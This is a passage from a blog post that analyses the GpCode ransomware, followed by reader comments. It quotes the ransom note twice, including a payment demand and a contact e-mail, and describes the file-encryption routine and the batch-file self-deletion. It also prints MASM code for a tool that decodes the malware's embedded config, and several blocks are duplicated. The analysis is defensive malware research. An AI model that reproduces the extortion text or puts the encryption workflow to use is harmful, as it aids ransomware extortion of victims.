There is no possibility to decrypt these files without a special decrypt program! Nobody can help you - even don't try to find another method or tell anybody. Also after n days all encrypted files will be completely deleted and you will have no chance to get it back.
We can help to solve this task for 120$ via wire transfer (bank transfer SWIFT/IBAN). And remember: any harmful or bad words to our side will be a reason for ingoring your message and nothing will be done.
For details you have to send your request on this e-mail (attach to message a full serial key shown below in this 'how to..' file on desktop): datafinder@fastmail.fm
2334CC172CF6F6CCEA5F1090E2B2990FA2A933CD099B9295B0E3750A9CA26D89E18B2143E1899B761AE81C44DD164F6B36C81340A8943918BCDCF8DD42314E3A
6CE8BE3590ED19C04969F7C4FE074D0C3976788135781AE889A72FA349A8FF0AE749E26E77FC065D251C389115C4AA98D4C4554CA2FFE9B8F615E307D170D52C
All your personal files (photo, documents, texts, databases, certificates, kwm-files, video) have been encrypted by a very strong cypher RSA-1024. The original files are deleted. You can check this by yourself - just look for files in all folders.
There is no possibility to decrypt these files without a special decrypt program! Nobody can help you - even don't try to find another method or tell anybody. Also after n days all encrypted files will be completely deleted and you will have no chance to get it back.
We can help to solve this task for 120$ via wire transfer (bank transfer SWIFT/IBAN). And remember: any harmful or bad words to our side will be a reason for ingoring your message and nothing will be done.
For details you have to send your request on this e-mail (attach to message a full serial key shown below in this 'how to..' file on desktop): datafinder@fastmail.fm
2334CC172CF6F6CCEA5F1090E2B2990FA2A933CD099B9295B0E3750A9CA26D89E18B2143E1899B761AE81C44DD164F6B36C81340A8943918BCDCF8DD42314E3A
6CE8BE3590ED19C04969F7C4FE074D0C3976788135781AE889A72FA349A8FF0AE749E26E77FC065D251C389115C4AA98D4C4554CA2FFE9B8F615E307D170D52C
After it changes your wallpaper
Resource hacker:
Searching the bitmap resource and drop it in %temp% folder with a random name.
Then it calls an API to set it as wallpaper, with stretch option to fill your entire screen.
Desktop:
Then it continue to search for other files to crypt
And now we know the dropped bitmap is the second blacklisted file.
Let's follow this "brndlog.txt" located in:
C:\Documents and Settings\Administrateur\Application Data\Microsoft\Internet Explorer
It create a handle to the file with GENERIC_READ and use GetFileSize to check if we should encrypt it or not.
After the size check, it use SetFilePointer Function to stores the file pointer in two LONG values
Then it reads the file and store data in a buffer, then it calls CryptEncrypt on the data stored.
After it writes the file (brndlog.txt) with new data.
Now it returns to the core, to add the extention .ENCODED and proceed to the next file.
Once all drives are “crypted”, it quit the "core" and return to the "main place"
It will enter in two procedures and call an API to close the program
The first procedure:
It destroys the key and releases the handle of CSP
Second procedure:
It creates a file called "ntfs_system.bat" (in the same folder as the ransomware)
which contains:
del "C:\Documents and Settings\Administrateur\Bureau\1.exe"
del %0
del %0
And execute it, then it Calls the ExitPocess API to close the program
And "ntfs_system.bat" will delete GpCode from our system
All your data are crypted with an executable of 25Kb and there is no possibility to recover them until paying the ransom...
The malware author claim on the txt file:
"after n days all encrypted files will be completely deleted and you will have no chance to get it back."
Like we have see, there is absolutely nothing inside the code for do such action.
It says that just to scare users, pushing them into buying the 'special decrypt program'
Also, people who are not should be aware of the problem and should recognize GpCode from the first and second when the “warnings” appears on your screen.
Pushing Reset/Power button of your PC can save a significant amount of your valuable data
And GpCode dont create a startup key so you can boot safe after an infection.
Conclusion: Backup your data from time to time in a safe place, and dont forget to unplug the storage device which contains these saved data.
Bonus, a tiny app useless who read the cfg file from gpcode :)
.486
.model flat, stdcall
option casemap :none ; case sensitive
include windows.inc
uselib MACRO libname
include libname.inc
includelib libname.lib
ENDM
uselib user32
uselib kernel32
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
IDC_OK equ 1003
IDC_IDCANCEL equ 1004
cfg equ 1
.data?
hInstance dd ? ;dd can be written as dword
buffer1 db 9999 dup(?)
buffer2 db 9999 dup(?)
buffer3 db 256 dup(?)
buffer4 db 256 dup(?)
nSize dd ?
pM dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke DialogBoxParam, hInstance, 101, 0, ADDR DlgProc, 0
invoke ExitProcess, eax
DlgProc proc hWin :DWORD,
uMsg :DWORD,
wParam :DWORD,
lParam :DWORD
.if uMsg == WM_COMMAND
.if wParam == IDC_OK
INVOKE FindResource,0, cfg, RT_RCDATA
push eax
INVOKE SizeofResource,0, eax
mov nSize, eax
pop eax
INVOKE LoadResource,0, eax
INVOKE LockResource, eax
mov esi, eax
mov eax, nSize
add eax, SIZEOF nSize
INVOKE GlobalAlloc, GPTR, eax
mov pM, eax
mov ecx, nSize
mov dword ptr [eax], ecx
add eax, SIZEOF nSize
mov edi, eax
rep movsb
PUSH 55Dh
PUSH eax
PUSH offset buffer1
CALL RtlMoveMemory
invoke FreeResource,eax
mov ebx,offset buffer1
PUSH 10h
PUSH ebx
PUSH offset buffer2
CALL RtlMoveMemory
ADD EBX,010h
MOV EAX,nSize
SUB EAX,010h
PUSH EAX
PUSH EBX
CALL decrypt
MOV AL,BYTE PTR DS:[EBX]
MOV BYTE PTR DS:[buffer3],AL
ADD EBX,1
MOV AL,BYTE PTR DS:[EBX]
MOV BYTE PTR DS:[buffer3+1],AL
ADD EBX,1
MOV EAX,DWORD PTR DS:[EBX]
MOV DWORD PTR DS:[buffer3+2],EAX
ADD EBX,8
MOV ECX,DWORD PTR DS:[EBX]
invoke SetDlgItemText,hWin,1002,ebx
pop esi
.elseif wParam == IDC_IDCANCEL
invoke EndDialog,hWin,0
.endif
.elseif uMsg == WM_CLOSE
invoke EndDialog,hWin,0
.endif
xor eax,eax
ret
DlgProc endp
decrypt proc
PUSHAD
MOV ESI,EBX
MOV EDI,ESI
XOR EDX,EDX
MOV ECX,EAX
@gpcode_00401755:
CMP EDX,010h
JNZ @gpcode_0040175C
XOR EDX,EDX
@gpcode_0040175C:
LODS BYTE PTR DS:[ESI]
XOR AL,BYTE PTR DS:[EDX+buffer2]
STOS BYTE PTR ES:[EDI]
INC EDX
DEC ECX
JNZ @gpcode_00401755
POPAD
RET
decrypt endp
end start
.model flat, stdcall
option casemap :none ; case sensitive
include windows.inc
uselib MACRO libname
include libname.inc
includelib libname.lib
ENDM
uselib user32
uselib kernel32
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
IDC_OK equ 1003
IDC_IDCANCEL equ 1004
cfg equ 1
.data?
hInstance dd ? ;dd can be written as dword
buffer1 db 9999 dup(?)
buffer2 db 9999 dup(?)
buffer3 db 256 dup(?)
buffer4 db 256 dup(?)
nSize dd ?
pM dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke DialogBoxParam, hInstance, 101, 0, ADDR DlgProc, 0
invoke ExitProcess, eax
DlgProc proc hWin :DWORD,
uMsg :DWORD,
wParam :DWORD,
lParam :DWORD
.if uMsg == WM_COMMAND
.if wParam == IDC_OK
INVOKE FindResource,0, cfg, RT_RCDATA
push eax
INVOKE SizeofResource,0, eax
mov nSize, eax
pop eax
INVOKE LoadResource,0, eax
INVOKE LockResource, eax
mov esi, eax
mov eax, nSize
add eax, SIZEOF nSize
INVOKE GlobalAlloc, GPTR, eax
mov pM, eax
mov ecx, nSize
mov dword ptr [eax], ecx
add eax, SIZEOF nSize
mov edi, eax
rep movsb
PUSH 55Dh
PUSH eax
PUSH offset buffer1
CALL RtlMoveMemory
invoke FreeResource,eax
mov ebx,offset buffer1
PUSH 10h
PUSH ebx
PUSH offset buffer2
CALL RtlMoveMemory
ADD EBX,010h
MOV EAX,nSize
SUB EAX,010h
PUSH EAX
PUSH EBX
CALL decrypt
MOV AL,BYTE PTR DS:[EBX]
MOV BYTE PTR DS:[buffer3],AL
ADD EBX,1
MOV AL,BYTE PTR DS:[EBX]
MOV BYTE PTR DS:[buffer3+1],AL
ADD EBX,1
MOV EAX,DWORD PTR DS:[EBX]
MOV DWORD PTR DS:[buffer3+2],EAX
ADD EBX,8
MOV ECX,DWORD PTR DS:[EBX]
invoke SetDlgItemText,hWin,1002,ebx
pop esi
.elseif wParam == IDC_IDCANCEL
invoke EndDialog,hWin,0
.endif
.elseif uMsg == WM_CLOSE
invoke EndDialog,hWin,0
.endif
xor eax,eax
ret
DlgProc endp
decrypt proc
PUSHAD
MOV ESI,EBX
MOV EDI,ESI
XOR EDX,EDX
MOV ECX,EAX
@gpcode_00401755:
CMP EDX,010h
JNZ @gpcode_0040175C
XOR EDX,EDX
@gpcode_0040175C:
LODS BYTE PTR DS:[ESI]
XOR AL,BYTE PTR DS:[EDX+buffer2]
STOS BYTE PTR ES:[EDI]
INC EDX
DEC ECX
JNZ @gpcode_00401755
POPAD
RET
decrypt endp
end start
Resource file:
;This Resource Script was generated by WinAsm Studio.
#define IDC_OK 1003
#define IDC_CANCEL 1004
1 RCDATA DISCARDABLE "gpcode.data" ;this is your cfg file ripped from GpCode
101 DIALOGEX 0,0,294,170
CAPTION "GpCode..."
FONT 8,"Tahoma"
STYLE 0x80c80880
EXSTYLE 0x00000000
BEGIN
CONTROL "Read RC_DATA > cfg",IDC_OK,"Button",0x10000001,3,135,287,14,0x00000000
CONTROL "Quit",IDC_CANCEL,"Button",0x10000000,3,154,287,14,0x00000000
CONTROL "",1002,"Edit",0x10200044,3,3,287,130,0x00000200
END
#define IDC_OK 1003
#define IDC_CANCEL 1004
1 RCDATA DISCARDABLE "gpcode.data" ;this is your cfg file ripped from GpCode
101 DIALOGEX 0,0,294,170
CAPTION "GpCode..."
FONT 8,"Tahoma"
STYLE 0x80c80880
EXSTYLE 0x00000000
BEGIN
CONTROL "Read RC_DATA > cfg",IDC_OK,"Button",0x10000001,3,135,287,14,0x00000000
CONTROL "Quit",IDC_CANCEL,"Button",0x10000000,3,154,287,14,0x00000000
CONTROL "",1002,"Edit",0x10200044,3,3,287,130,0x00000200
END
Salut,
ReplyDeleteBonne idée d'avoir fait une analyse de ce ransomware, j'avais également lu les articles qui traitaient de son retour, mais jusqu'ici je n'avais lu aucun papier technique dessus. Dommage juste que tu ne détailles pas plus le côté crypto du malware ;)
Merci, et a +
I'm not a programmer so obviously I don't understand details of your post... But it is obvious that you are on top of the theme. Let me ask you few questions please:
ReplyDelete1. Is there any solution at the present time against it? (as far as I can see from the online publications currently there's no solution)
2. Will there ever be a solution?
3. When do you think they find a solution (in a months, or it might take years... or maybe never???)
You can answer me directly, if you wish on email arxitect.twitter@gmail.com
Thank you
You can try to put that 'HOW TO DECRYPT FILES.txt' in all your seperate maps, windows, etc, because you said, it will check for that .txt, and if it finds it, it will continue on another map.
ReplyDelete